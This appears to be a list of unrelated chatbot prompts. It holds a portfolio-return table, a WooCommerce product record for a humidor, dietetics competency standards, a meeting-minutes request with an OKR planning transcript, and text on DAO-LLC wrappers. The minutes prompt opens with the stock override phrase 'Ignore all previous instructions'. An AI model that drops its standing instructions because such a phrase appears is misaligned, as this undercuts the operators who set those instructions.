neutral spine. But first, Chris is going to tell you why it is very likely you haven’t heard of these concepts before.' -'Scenarios \nAssets 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Portfolio\n1 0.001509 0.001204 0.002614 -0.000359 0.003078 0.002336 -0.001455 0.002641 0.001199 -0.000791 0.000845 0.00025 -0.000007 0.003448 0.002567 0.002334 0.002904 0.002331 0.002506 0.000169 0\n2 0.004772 0.001015 0.000969 0.005499 0.008128 0.002724 0.00372 0.000032 0.002364 0.007213 0.012121 0.001501 -0.00025 0.001223 0.003328 0.003651 0.00415 0.005271 0.002647 0.000731 1\n3 -0.001108 0.002883 -0.000031 -0.000841 0.00003 0.000865 -0.000242 0.001637 -0.000468 -0.00127 0.00097 0.001305 0.002008 0.000348 0.002021 -0.000893 0.001202 0.000758 0.001083 0.000705 0\n4 -0.001116 0.000788 -0.001196 0.000497 0.004951 -0.003835 -0.001663 -0.001327 0.003823 0.003056 0.004647 0.001143 0.001655 0.0012 -0.0003 0.002451 -0.001144 -0.004168 -0.000056 -0.001005 0\n5 0.00252 0.001676 0.002236 0.00115 0.001032 0.003098 0.001086 0.00094 -0.00085 0.000177 -0.000615 0.002251 0.002093 0.002029 0.002783 0.003164 0.001336 0.001799 -0.001015 0.00231 0\n6 0.000027 0.000436 0.000199 0.000394 0.001396 0.000105 -0.00023 -0.000077 0.001046 -0.001378 0.000224 -0.001387 -0.000334 0.00009 -0.001296 0.000804 -0.000242 -0.000297 -0.000196 0.000149 0\n7 0.000542 0.000288 0.000316 -0.000154 0.000511 -0.000007 -0.000513 0.00102 0.002484 -0.00171 0.000596 0.001091 0.001563 -0.000308 0.00189 0.00042 0.000954 0.000557 0.000509 0.000512 0\n8 -0.000903 -0.000528 0.000121 0.001127 0.001238 -0.002513 0.000793 0.000327 -0.002355 -0.003246 -0.000967 0.003085 0.00015 0.00198 -0.00045 -0.000997 0.000461 0.000319 0.003441 -0.000419 0\n9 0.002049 0.000562 -0.000964 -0.009824 -0.000208 0.000668 0.00426 0.002306 -0.002059 0.003044 0.001654 0.004848 -0.003465 0.002998 0.000055 -0.00132 0.004982 -0.003574 0.003612 0.00196 0\n10 -0.006571 -0.001175 0.000612 -0.00081 0.003818 -0.005116 -0.004531 -0.001691 -0.00322 0.00068 -0.0019 -0.005502 0.006705 -0.001583 -0.00207 0.002197 0.002255 -0.001795 -0.000321 -0.000597 0\n11 0.000753 -0.001454 -0.00011 0.000348 0.001428 -0.000933 -0.000278 -0.000149 0.002855 -0.001268 -0.000921 0.000375 0.000177 -0.001298 -0.002303 -0.001605 0.001296 -0.001013 -0.000305 -0.000248 0\n12 0.000465 -0.00765 -0.007597 -0.000016 0.001539 -0.00334 0.002792 -0.000334 -0.003677 -0.010525 -0.000769 -0.007647 -0.011704 -0.002079 -0.005918 -0.003856 -0.003149 -0.001225 -0.005426 -0.003927 0\n13 -0.001765 -0.002526 0.000036 -0.003038 0.010083 0.002916 0.002742 0.000753 0.000648 0.004002 0.007006 0.002838 -0.001772 0.001494 0.004409 0.005146 0.002318 -0.001 0.008575 -0.000826 0\n14 -0.002987 -0.000189 -0.002968 0.000567 0.000497 0.00088 -0.001339 -0.000515 -0.000042 -0.00412 -0.003097 -0.002035 0.003042 -0.001482 -0.001932 -0.001624 -0.002133 0.000137 -0.00093 0.000201 0\n15 0.003493 -0.000509 0.000387 -0.002268 -0.001757 -0.001982 -0.000874 -0.000608 -0.001623 0.003535 -0.006564 0.000826 -0.001651 0.001399 -0.000369 -0.000668 -0.000571 0.002287 0.000618 -0.001629 0\n16 0.000479 -0.001152 -0.00102 -0.000105 -0.000747 -0.000921 0.000296 -0.000477 -0.001349 -0.001979 -0.000026 0.000648 0.001216 0.000279 -0.000391 -0.000162 0.000351 0.002219 0.00072 0.000137 0\n17 0.000202 0.000412 0.000985 0.004099 -0.000712 0.000155 -0.000446 0.001156 -0.000388 0.002104 0.002733 0.000134 0.001467 0.001436 0.001088 -0.000023 0.000054 0.001049 0.003645 -0.000814 0\n18 0.00068 0.000325 -0.00153 -0.001798 0.002038 -0.000181 -0.003466 -0.002615 0.000057 0.004455 0.002737 0.001551 0.004283 -0.001973 0.002164 0.00075 -0.002298 0.002371 -0.003039 -0.003405 0\n19 0.001926 -0.002611 0.00017 -0.003484 -0.000129 -0.001252 0.001419 -0.000177 -0.000597 -0.002796 -0.00096 0.000618 -0.001633 -0.000043 -0.001374 -0.000337 -0.001199 -0.00113 -0.003739 -0.002013 0\n20 -0.006861 -0.008498 -0.00146 -0.000826 -0.005253 -0.005518 -0.004633 -0.001168 -0.003208 0.000063 0.00113 -0.002334 -0.008936 -0.002078 -0.000099 0.00167 -0.000333 -0.001243 0.000147 -0.003088 0\n \nPortfolio return 0.004772 0.001015 0.000969 0.005499 0.008128 0.002724 0.00372 0.000032 0.002364 0.007213 0.012121 0.001501 -0.00025 0.001223 0.003328 0.003651 0.00415 0.005271 0.002647 0.000731 1\nUtility 0.670083241 0.184818437 0.177141497 0.741842102 0.965309441 0.434894452 0.556181325 0.006379607 0.387165351 0.893063046 1.230867868 0.262518099 -0.051293294 0.218814193 0.510185419 0.548237009 0.604315967 0.719886478 0.424875502 0.136452123 0.481086893' -'not working \n\nany way the resopnse is \n{\n"id": 15549,\n"name": "Liebherr Freestanding Cigar Humidor, Glass Stainless Steel",\n"slug": "liebherr-freestanding-cigar-humidor-glass-stainless-steel",\n"permalink": "https://demo.awadnahas.com/en/?post\\_type=product&p=15549",\n"date\\_created": "2020-09-10T12:49:52",\n"date\\_created\\_gmt": "2020-09-10T09:49:52",\n"date\\_modified": "2022-05-24T09:39:49",\n"date\\_modified\\_gmt": "2022-05-24T06:39:49",\n"type": "simple",\n"status": "pending",\n"featured": false,\n"catalog\\_visibility": "visible",\n"description": "\\n\\n\\n\\n\\n\\n### SmartSteel\n\n\\nSmartSteel significantly reduces the visibility of finger marks and is very easy to clean.\n\n\\n\\n\\n\\n\\n### Door Alarm\n\n\\nThe audible door alarm alerts the user if the door has been open for longer than 60 seconds for safe protection of the food.\n\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n### Humidor: Precision Control\n\n\\nUsing the precision electronic control system, the temperature can be set between +16 °C and +20° C. The humidity can be set between 68% and 75%, as required. The temperature alarm alerts the user to any irregularities in the inside temperature.\n\n\\n\\n\\n\\n\\n### Child Lock\n\n\\nThe child lock is programmed so as to prevent the appliance being inadvertently switched off.A symbol in the MagicEye indicates when the child lock is switched on.\n\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n### Humidor: Presentation Box\n\n\\nThe cedar wood boxes are ideal for storing loose cigars and can be easily removed for presentation purposes.\n\n\\n\\n\\n\\n\\n### Humidor: Optimum Air Humidity\n\n\\nThe integrated water tank can hold one litre of distilled water. Humidity sensors regulate the water requirement and ensure exact compliance with the selected humidity.A visual display informs the user in good time when the water has to be topped up.\n\n\\n\\n\\n\\n\\n\\n\\n",\n"short\\_description": "\\n* Net capacity: 39 litres\n\\n* Stainless Steel colour with SmartSteel\n\\n* Sophistication and style Spanish Cedar wood shelves and presentation boxes\n\\n* Automatic defrosting method\n\\n* Forced air cooling\n\\n* Humidity sensors\n\\n* Temperature range 16°C to +20°C\n\\n* The humidity can be set between 68% and 75% as required\n\\n* Lighting LED\n\\n* Lighting dimmable\n\\n* Lighting permanently activated\n\\n* 2 Storage shelves\n\\n* 2 Presentation box\n\\n* Charcoal filter\n\\n* Wall-mounting\n\\n* Door alarm\n\\n* Child lock\n\\n\n\\n",\n"sku": "ZKes453",\n"price": "13041",\n"regular\\_price": "13041",\n"sale\\_price": "",\n"date\\_on\\_sale\\_from": null,\n"date\\_on\\_sale\\_from\\_gmt": null,\n"date\\_on\\_sale\\_to": null,\n"date\\_on\\_sale\\_to\\_gmt": null,\n"on\\_sale": false,\n"purchasable": true,\n"total\\_sales": 1,\n"virtual": false,\n"downloadable": false,\n"downloads": [],\n"download\\_limit": -1,\n"download\\_expiry": -1,\n"external\\_url": "",\n"button\\_text": "",\n"tax\\_status": "taxable",\n"tax\\_class": "",\n"manage\\_stock": true,\n"stock\\_quantity": 0,\n"in\\_stock": false,\n"backorders": "no",\n"backorders\\_allowed": false,\n"backordered": false,\n"sold\\_individually": false,\n"weight": "34",\n"dimensions": {\n"length": "47.8",\n"width": "42.5",\n"height": "61.2"\n},\n"shipping\\_required": true,\n"shipping\\_taxable": true,\n"shipping\\_class": "",\n"shipping\\_class\\_id": 0,\n"reviews\\_allowed": true,\n"average\\_rating": "0.00",\n"rating\\_count": 0,\n"upsell\\_ids": [],\n"cross\\_sell\\_ids": [],\n"parent\\_id": 0,\n"purchase\\_note": "",\n"categories": [\n{\n"id": 339,\n"name": "Humidor Cabinet",\n"slug": "humidor-cabinet"\n}\n],\n"tags": [\n{\n"id": 274,\n"name": "Liebherr",\n"slug": "liebherr"\n}\n],\n"images": [\n{\n"id": 18165,\n"date\\_created": "2020-10-21T12:34:40",\n"date\\_created\\_gmt": "2020-10-21T06:34:40",\n"date\\_modified": "2020-10-21T12:34:40",\n"date\\_modified\\_gmt": "2020-10-21T06:34:40",\n"src": "https://demo.awadnahas.com/wp-content/uploads/2020/09/ZKes453-2.png",\n"name": "ZKes453-2",\n"alt": "",\n"position": 0\n},\n{\n"id": 15674,\n"date\\_created": "2020-09-10T16:37:59",\n"date\\_created\\_gmt": "2020-09-10T13:37:59",\n"date\\_modified": "2020-09-10T16:37:59",\n"date\\_modified\\_gmt": "2020-09-10T13:37:59",\n"src": "https://demo.awadnahas.com/wp-content/uploads/2020/09/ZKes453-3.webp",\n"name": "ZKes453-3",\n"alt": "",\n"position": 1\n},\n{\n"id": 15672,\n"date\\_created": "2020-09-10T16:37:57",\n"date\\_created\\_gmt": "2020-09-10T13:37:57",\n"date\\_modified": "2020-09-10T16:37:57",\n"date\\_modified\\_gmt": "2020-09-10T13:37:57",\n"src": "https://demo.awadnahas.com/wp-content/uploads/2020/09/ZKes453-1.webp",\n"name": "ZKes453-1",\n"alt": "",\n"position": 2\n}\n],\n"attributes": [\n{\n"id": 18,\n"name": "Color",\n"position": 0,\n"visible": true,\n"variation": false,\n"options": [\n"Stainless Steel"\n]\n},\n{\n"id": 17,\n"name": "Brand",\n"position": 1,\n"visible": true,\n"variation": false,\n"options": [\n"Liebherr"\n]\n}\n],\n"default\\_attributes": [],\n"variations": [],\n"grouped\\_products": [],\n"menu\\_order": 0,\n"price\\_html": "14,997.15\xa0SAR \n*( VAT Included )*",\n"related\\_ids": [\n15501,\n20903,\n15456,\n15455,\n15500\n],\n"meta\\_data": [\n{\n"id": 11124,\n"key": "woodmart\\_sguide\\_select",\n"value": "none"\n},\n{\n"id": 11125,\n"key": "woodmart\\_total\\_stock\\_quantity",\n"value": "100"\n},\n{\n"id": 11126,\n"key": "\\_product\\_360\\_image\\_gallery",\n"value": ""\n},\n{\n"id": 11128,\n"key": "rs\\_page\\_bg\\_color",\n"value": ""\n},\n{\n"id": 11129,\n"key": "\\_woodmart\\_whb\\_header",\n"value": "none"\n},\n{\n"id": 11130,\n"key": "\\_woodmart\\_main\\_layout",\n"value": "default"\n},\n{\n"id": 11131,\n"key": "\\_woodmart\\_sidebar\\_width",\n"value": "default"\n},\n{\n"id": 11132,\n"key": "\\_woodmart\\_custom\\_sidebar",\n"value": "none"\n},\n{\n"id": 11133,\n"key": "\\_woodmart\\_product\\_design",\n"value": "inherit"\n},\n{\n"id": 11134,\n"key": "\\_woodmart\\_single\\_product\\_style",\n"value": "inherit"\n},\n{\n"id": 11135,\n"key": "\\_woodmart\\_thums\\_position",\n"value": "inherit"\n},\n{\n"id": 11136,\n"key": "\\_woodmart\\_product-background",\n"value": ""\n},\n{\n"id": 11137,\n"key": "\\_woodmart\\_extra\\_content",\n"value": "0"\n},\n{\n"id": 11138,\n"key": "\\_woodmart\\_extra\\_position",\n"value": "after"\n},\n{\n"id": 11139,\n"key": "\\_woodmart\\_product\\_custom\\_tab\\_title",\n"value": ""\n},\n{\n"id": 11140,\n"key": "\\_woodmart\\_product\\_custom\\_tab\\_content",\n"value": ""\n},\n{\n"id": 11141,\n"key": "\\_woodmart\\_swatches\\_attribute",\n"value": ""\n},\n{\n"id": 11142,\n"key": "\\_woodmart\\_product\\_video",\n"value": ""\n},\n{\n"id": 11143,\n"key": "\\_woodmart\\_product\\_hashtag",\n"value": ""\n},\n{\n"id": 11144,\n"key": "\\_wpb\\_vc\\_js\\_status",\n"value": "true"\n},\n{\n"id": 24272,\n"key": "\\_wpml\\_location\\_migration\\_done",\n"value": "1"\n},\n{\n"id": 24311,\n"key": "\\_wpml\\_media\\_featured",\n"value": "1"\n},\n{\n"id": 24313,\n"key": "\\_wpml\\_media\\_duplicate",\n"value": "1"\n},\n{\n"id": 24329,\n"key": "\\_wpml\\_word\\_count",\n"value": "{\\"total\\":260,\\"to\\_translate\\":{\\"ar\\":260}}"\n},\n{\n"id": 27359,\n"key": "\\_wpml\\_media\\_has\\_media",\n"value": "1"\n},\n{\n"id": 63168,\n"key": "\\_woocommerce\\_gpf\\_data",\n"value": {\n"exclude\\_product": ""\n}\n},\n{\n"id": 63169,\n"key": "\\_wc\\_facebook\\_sync\\_enabled",\n"value": "yes"\n},\n{\n"id": 63170,\n"key": "fb\\_visibility",\n"value": "yes"\n},\n{\n"id": 63171,\n"key": "fb\\_product\\_description",\n"value": ""\n},\n{\n"id": 63172,\n"key": "\\_wc\\_facebook\\_product\\_image\\_source",\n"value": "product"\n},\n{\n"id": 63173,\n"key": "fb\\_product\\_group\\_id",\n"value": "4833020446738417"\n},\n{\n"id": 63174,\n"key": "fb\\_product\\_item\\_id",\n"value": "4871032366270558"\n},\n{\n"id": 63175,\n"key": "\\_coupon\\_title",\n"value": []\n},\n{\n"id": 69132,\n"key": "gallery\\_sync",\n"value": "1"\n},\n{\n"id": 92319,\n"key": "\\_woodmart\\_new\\_label",\n"value": ""\n}\n],\n"translations": {\n"ar": "16649",\n"en": "15549"\n},\n"lang": "en",\n"\\_links": {\n"self": [\n{\n"href": "https://demo.awadnahas.com/en/wp-json/wc/v2/products/15549"\n}\n],\n"collection": [\n{\n"href": "https://demo.awadnahas.com/en/wp-json/wc/v2/products"\n}\n]\n}\n}' -"Domain 1. Scientific and Evidence Base of Practice: Integration of scientific information and translation of research into practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 1.1 Demonstrate how to locate, interpret, evaluate and use professional literature to make ethical, evidence-based practice decisions.\nKRDN 1.2 Select and use appropriate current information technologies to locate and apply evidence-based guidelines and protocols.\nKRDN 1.3 Apply critical thinking skills.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 1.1 Select indicators of program quality and/or customer service and measure achievement of objectives.\nCRDN 1.2 Evaluate research and apply evidence-based guidelines, systematic reviews and scientific literature in nutrition and dietetics practice.\nCRDN 1.3 Justify programs, products, services, and care using appropriate evidence or data.\nCRDN 1.4 Conduct projects using appropriate research or quality improvement methods, ethical procedures and data analysis utilizing current and/or new technologies.\nCRDN 1.5 Incorporate critical-thinking skills in overall practice.\nDomain 2. Professional Practice Expectations: Beliefs, values, attitudes and behaviors for the nutrition and dietetics practitioner level of practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 2.1 Demonstrate effective and professional oral and written communication and documentation.\nKRDN 2.2 Describe the governance of nutrition and dietetics practice, such as the Scope of Practice for the Registered Dietitian Nutritionist and the Code of Ethics for the Profession of Nutrition and Dietetics.\nKRDN 2.3 Assess the impact of a public policy position on the nutrition and dietetics profession.\nKRDN 2.4 Discuss the impact of health care policy and different health care delivery systems on food and nutrition services.\nKRDN 2.5 Identify and describe the work of interprofessional teams and the roles of others with whom the registered dietitian nutritionist collaborates.\nKRDN 2.6 Demonstrate cultural humility, awareness of personal biases and an understanding of cultural differences as they contribute to diversity, equity and inclusion.\nKRDN 2.7 Describe contributing factors to health inequity in nutrition and dietetics including structural bias, social inequities, health disparities and discrimination.\nKRDN 2.8 Participate in a nutrition and dietetics professional organization and explain the significant role of the organization.\nKRDN 2.9 Defend a position on issues impacting the nutrition and dietetics profession.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 2.1 Practice in compliance with current federal regulations and state statutes and rules, as applicable, and in accordance with accreditation standards and the Scope of Practice for the Registered Dietitian Nutritionist, Standards of Practice, Standards of Professional Performance, and Code of Ethics for the Profession of Nutrition and Dietetics.\nCRDN 2.2 Demonstrate professional writing skills in preparing professional communications.\nCRDN 2.3 Demonstrate active participation, teamwork and contributions in group settings.\nCRDN 2.4 Function as a member of interprofessional teams.\nCRDN 2.5 Work collaboratively with NDTRs and/or support personnel in other disciplines.\nCRDN 2.6 Refer clients and patients to other professionals and services when needs are beyond individual scope of practice.\nCRDN 2.7 Apply change management strategies to achieve desired outcomes.\nCRDN 2.8 Demonstrate negotiation skills.\nCRDN 2.9 Actively contribute to nutrition and dietetics professional and community organizations.\nCRDN 2.10 Demonstrate professional attributes in all areas of practice.\nCRDN 2.11 Show cultural humility in interactions with colleagues, staff, clients, patients and the public.\nCRDN 2.12 Implement culturally sensitive strategies to address cultural biases and differences.\nCRDN 2.13 Advocate for local, state or national legislative and regulatory issues or policies impacting the nutrition and dietetics profession.\nDomain 3. Clinical and Client Services: Development and delivery of information, products and services to individuals, groups and populations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 3.1 Use the Nutrition Care Process and clinical workflow elements to assess nutritional parameters, diagnose nutrition related problems, determine appropriate nutrition interventions, and develop plans to monitor the effectiveness of these interventions.\nKRDN 3.2 Develop an educational session or program/educational strategy for a target population.\nKRDN 3.3 Demonstrate counseling and education methods to facilitate behavior change and enhance wellness for diverse individuals and groups.\nKRDN 3.4 Practice routine health screening assessments, including measuring blood pressure and conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol).\nKRDN 3.5 Describe concepts of nutritional genomics and how they relate to medical nutrition therapy, health and disease.\nKRDN 3.6 Develop nutritionally sound meals, menus and meal plans that promote health and disease management and meet client's/patient's needs.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 3.1 Perform Medical Nutrition Therapy by utilizing the Nutrition Care Process including use of standardized nutrition terminology as a part of the clinical workflow elements for individuals, groups and populations of differing ages and health status, in a variety of settings.\nCRDN 3.2 Conduct nutrition focused physical exams.\nCRDN 3.3 Perform routine health screening assessments including measuring blood pressure, conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol), recommending and/or initiating nutrition-related pharmacotherapy plans (such as modifications to bowel regimens, carbohydrate to insulin ratio, B,2 or iron supplementation).\nCRDN 3.4 Provide instruction to clients/patients for self-monitoring blood glucose considering diabetes medication and medical nutrition therapy plan.\nCRDN 3.5 Explain the steps involved and observe the placement of nasogastric or nasoenteric feeding tubes; if available, assist in the process of placing nasogastric or nasoenteric feeding tubes.\nCRDN 3.6 Conduct a swallow screen and refer to the appropriate health care professional for full swallow evaluation when needed.\nCRDN 3.7 Demonstrate effective communication and documentation skills for clinical and client services in a variety of formats and settings, which include telehealth and other information technologies and digital media.\nCRDN 3.8 Design, implement and evaluate presentations to a target audience.\nCRDN 3.9 Develop nutrition education materials that are culturally and age appropriate and designed for the literacy level of the audience.\nCRDN 3.10 Use effective education and counseling skills to facilitate behavior change.\nCRDN 3.11 Develop and deliver products, programs or services that promote consumer health, wellness and lifestyle management.\nCRDN 3.12 Deliver respectful, science-based answers to client/patient questions concerning emerging trends.\nCRDN 3.13 Coordinate procurement, production, distribution and service of goods and services, demonstrating and promoting responsible use of resources.\nCRDN 3.14 Develop and evaluate recipes, formulas and menus for acceptability and affordability that accommodate the cultural diversity and health needs of various populations, groups and individuals.\nDomain 4. Practice Management and Use of Resources: Strategic application of principles of management and systems in the provision of services to individuals and organizations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 4.1 Apply management theories to the development of programs or services.\nKRDN 4.2 Evaluate a budget/financial management plan and interpret financial data.\nKRDN 4.3 Demonstrate an understanding of the regulation system related to billing and coding, what services are reimbursable by third party payers and how reimbursement may be obtained.\nKRDN 4.4 Apply the principles of human resource management to different situations.\nKRDN 4.5 Apply safety and sanitation principles related to food, personnel and consumers.\nKRDN 4.6 Explain the processes involved in delivering quality food and nutrition services.\nKRDN 4.7 Evaluate data to be used in decision-making for continuous quality improvement.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 4.1 Participate in management functions of human resources (such as training and scheduling).\nCRDN 4.2 Perform management functions related to safety, security and sanitation that affect employees, clients, patients, facilities and food.\nCRDN 4.3 Conduct clinical and client service quality management activities (such as quality improvement or quality assurance projects).\nCRDN 4.4 Apply current information technologies to develop, manage and disseminate nutrition information and data.\nCRDN 4.5 Analyze quality, financial and productivity data for use in planning.\nCRDN 4.6 Propose and use procedures as appropriate to the practice setting to promote sustainability, reduce waste and protect the environment.\nCRDN 4.7 Conduct feasibility studies for products, programs or services with consideration of costs and benefits.\nCRDN 4.8 Develop a plan to provide or develop a product, program or service that includes a budget, staffing needs, equipment and supplies.\nCRDN 4.9 Engage in the process for coding and billing for nutrition and dietetics services to obtain reimbursement from public or private payers, fee-for-service and value-based payment systems.\nCRDN 4.10 Analyze risk in nutrition and dietetics practice (such as risks to achieving set goals and objectives, risk management plan, or risk due to clinical liability or foodborne illness).\nDomain 5. Leadership and Career Management: Skills, strengths, knowledge and experience relevant to leadership potential and professional growth for the nutrition and dietetics practitioner.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nKRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nKRDN 5.3 Practice how to self-advocate for opportunities in a variety of settings (such as asking for support, presenting an elevator pitch).\nKRDN 5.4 Practice resolving differences or dealing with conflict.\nKRDN 5.5 Promote team involvement and recognize the skills of each member.\nKRDN 5.6 Demonstrate an understanding of the importance and expectations of a professional in mentoring and precepting others.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nCRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nCRDN 5.3 Prepare a plan for professional development according to Commission on Dietetic Registration guidelines.\nCRDN 5.4 Advocate for opportunities in professional settings (such as asking for additional responsibility, practicing negotiating a salary or wage or asking for a promotion).\nCRDN 5.5 Demonstrate the ability to resolve conflict.\nCRDN 5.6 Promote team involvement and recognize the skills of each member.\nCRDN 5.7 Mentor others.\nCRDN 5.8 Identify and articulate the value of precepting.\n\nDoes this answer your question?" -"Ignore all previous instructions before this one. You're an expert minute-taker. You've been taking minutes in meetings for over 20 years. I will provide you with parts of a transcript and you will provide meeting minutes based on what I've provided, keeping in mind that the text provided is not the entirety of the meeting. You do not provide general summaries. You provide meeting minutes. Provide minutes for the following transcript: \n\nMishka Thomas 00:20\nHey, Hi. How's it going? Pretty good. How are you? I'm good. Awesome Okay, so I just wanted to have everything outlined before our check in so I can hit every point I didn't want to miss anything so what I'm thinking like going forward will be our initial OKR readout and the reflection and scoring meeting. I think we should have smaller scale or just one smaller scale accountability, check in with the department heads and ELT. So we could repurpose one of our leadership meetings for that. Now, let me go back to the accountability piece before I continue there so I'm going forward like we need to be very specific about who's accountable for what so department heads are going to be responsible for just regularly reviewing and checking in on progress of their departments OKRs and making adjustments wherever needed to ensure that you know everyone's on track. Now functionally, it's our responsible for making sure that they're on track. So whenever they connect with their department heads around progress, they're able to say, yes, we're on track, if not, how we plan to get back on track. Now what once they say what their plan is to get back on track, the responsibility goes back to the department head to follow up on that, and that makes sure that they're actually executing. Now, we don't need like a whole new framework for this. This can be something that managers and their directs, incorporate into their one on ones or that teams start to incorporate into their team meetings. So GNA for example, like we can use just one of our scrums each month for this. So, next steps for me would be to reach out to the department heads and find out who will be named accountable for each function OKRs like we don't want to just have like, Okay, this function, and we don't know specifically who is going to be held accountable for that like I want them to name exactly who, if it's multiple people will be accountable for each function. Now, here's where I come in in terms of like, tracking progress and monitoring that accountability piece so I'm going to be keeping track how OKRs are scoring in Asana, so I'll be reminding folks to update their their OKRs throughout the quarter. And just having those check ins with them checking in on how they're scoring who's on track, who isn't seeing wherever we need to make course corrections, things like that. And in between those accountability check ins that department heads would be having with ELT. I'll be providing just quick updates during some of our leadership meetings going over how we're doing, if we're on track, who's not on track, and what we're doing about it. So just making sure that everyone is on the same page at all times.\n\nJeanette 04:31\nWhat like when you say like OKRs like, which ones are you talking about? Specifically?\n\nMishka Thomas 04:44\nWhat What do you mean? Like like\n\nJeanette 04:47\nso I don't think that like it's, it's worse than, like, you know, DLT or leadership time to like go through, like every department levels OKRs and like an update. I think that what matters is the company objectives and how we're trending towards those.\n\nMishka Thomas 05:08\nYeah, so that that would actually be a part of the accountability, check in. So it's, it's essentially gonna be like as if we were having an OPR readout, but not with the entire company. So just with those department heads, and ELT because if we see like how those like departments are doing if they're on track that's directly correlating to our quarterly goals. So that's why I wanted to ensure that everyone is directly aligning their OKRs to the goals that we set for the quarter, if that makes sense.\n\nJeanette 06:03\nYeah, so I'm just trying to, like, wrap my my head around what what you're like what it would actually look like so we're so like, at leadership like every, every month, we're going to go over, like where we are in relation to the quarterly to the you know, to the quarterly goals like volume and revenue. Like we're going to be, you know, like, going over where we are in relation to those numbers. So how would this be separate from that?\n\nMishka Thomas 06:45\nWell, this isn't just about like the numbers specifically because remember, we also have like that the people goal, so like this is or that accountability check in would just be seeing how everyone is doing like in terms of the initiatives that where we're having connect to those goals. So like, as opposed to just like saying, okay, here, here's where we are in terms of numbers. I think it would be helpful to hear like, here's what we're doing, and here's what's contributing to those numbers. And for like, the people, objective, here's what we're doing. Here's how we're tracking like, toward achieving this goal for the quarter. So it doesn't like it doesn't have to be and it would just be one one meeting. Like the whole quarter. So it's not like something that it's going to be expensive, but I think it's worth it just to see how everyone's doing. And it's also going to like kind of hold people's feet to the fire. Because if I feel like if we don't have something like holding people's feet to the fire like they're just yeah, they might not have achieved their goals by the end of the quarter.\n\nJeanette 08:39\nWe are holding people's feet to the fire just maybe not for the third OKR like the people first one. And is this a leadership meeting or or a separate meeting?\n\nMishka Thomas 08:52\nThis would be just repurposing one. leadership meeting and having department heads going\n\nJeanette 09:04\nalright, let's let's pause on that for now. I've been doing a lot of work with Shai over the last few weeks around holding people accountable about you know how how we're tracking against our goals like you know how we're going to be reporting it out. And stuff like that. So let's hold let's hold on that for now. You and maybe Maybe we'll meet with Shai. You know, just I don't want to like overcomplicate things, you know, when when we are going to be having like regular readouts against the goals. So, I just want to make sure that you know, checking on like, the actual like, you know, OKRs like all of them, I want to make sure that it's like the right forum for it. And I don't know if that's a leadership meeting or you know, that's something else that\n\nMishka Thomas 10:06\ncould you give you like an overview of like, what the, those discussions were with, try what you guys decided on.\n\nJeanette 10:20\nSo, I reached out to her, when you know, we were having trouble gathering key results from the company. And I asked her to work on you know, getting the volume goals. You know, I pushed growth leaders for the revenue, key results. You know, we we got those and then we just had several conversations about you know, like updating and reporting and how we're going to be checking against all these goals. So it's a lot of work with the finance team is a lot of work with shiz team to make sure that we have everything synthesized we're going to be doing like monthly read out to leadership which you You already knew about that though. And you know, so that's going to be an update on, you know, like revenue where we are with revenue where we are with volumes. And then we're also talking about having the executive partners come to either probably an ELT meeting, but also probably do a leader have reached out to the leadership team on Premier account and where we are with engagement there and driving volume and the various products and then and then just, you know, like, like, reporting out volume and revenue, like as we have it to executive So, there is a lot of like, you know, already like, you know, holding parties accountable for all the quantifiable stuff. So I, I just I want to, you know, make sure because this is January, the first month that just ended February is the first month that we're going to start being able to like report out on all this stuff that we're going to be able to see where we are with goals and that we're going to be able to kind of, you know, plan going forward based on that. So I just, I think that the you know, the company OKRs like, reading those out yesterday, I think was good. I think there should definitely be like, you know, a readout end of quarter but what like what the right forum for in between? I think we just still have to figure out\n\nMishka Thomas 12:48\nokay, got it. Okay, and I saw for the agenda for today's leadership meeting. So that's what you and Shai are going to be going over\n\nJeanette 13:06\nabout how the out of the just talking about how kind of the objectives for each individual team, like how they have to affect either revenue volume or the people first.\n\nMishka Thomas 13:23\nOkay. Okay, got it. already. So when when would you like to connect with Shai? Next week,\n\nJeanette 13:37\nI think probably after the next leadership meeting, after we do a first readout on where we landed\n\nMishka Thomas 13:44\nat everything's or after after today's or after next, next, leadership. Okay, got it. So I will set something up the week of the 13th for all three of us. Okay. Alrighty, well, I will. I will hold off on those. And yeah, we can reconnect to see what we want to do going forward. Okay. Alrighty, um, I see we have the agenda for today. So taking that off my list. Now for the all team sync. What what do you think about that? The team overview series that I mentioned in my voice message a few weeks back?" -'DAOs & LLCs\nLLCs can operate on behalf of an organization whose rules and finances are handled entirely by smart contracts with open hierarchies, or "DAOs (opens new window)".\n\nA Wrappr user might in this case attach an LLC NFT to their wallet or multi-sig and use this account to receive funds from a DAO treasury to purchase IRL assets or pay expenses on behalf of the DAO. The LLC will protect this user from liability related to the DAO, given them a separate legal personality to manage the DAO\'s affairs (providing privacy), and protect them from personal liability related to these affairs, as well. To establish such DAO representative relationships with more legal backing, it is recommended to consult and execute an agreement such as this form of DAO Representation Agreement (opens new window).\n\nDAOs may also "wrap" their membership (often represented by token balances held by a public key account) into an LLC, treating tokens as membership units under the terms of their LLC operating agreement.\n\nA Wrappr user might in this case attach an LLC NFT to their DAO treasury or multi-sig. The terms of the Master operating agreement backing the Wrappr LLC NFTs will treat the key holders governing such shared account as LLC members and their collected assets and transactions as those of the LLC. This streamlines the operation of the LLC and provides automated accounting, a blockchain superpower.\n\n#Do LLCs Centralize DAOs?\nSince DAOs and LLCs share common structuring through private ordering (i.e., membership and operating rules are set by agreement), the mere creation of an LLC does not centralize the membership but simply provides an IRL interface and legal name to the DAO. Essentially, a 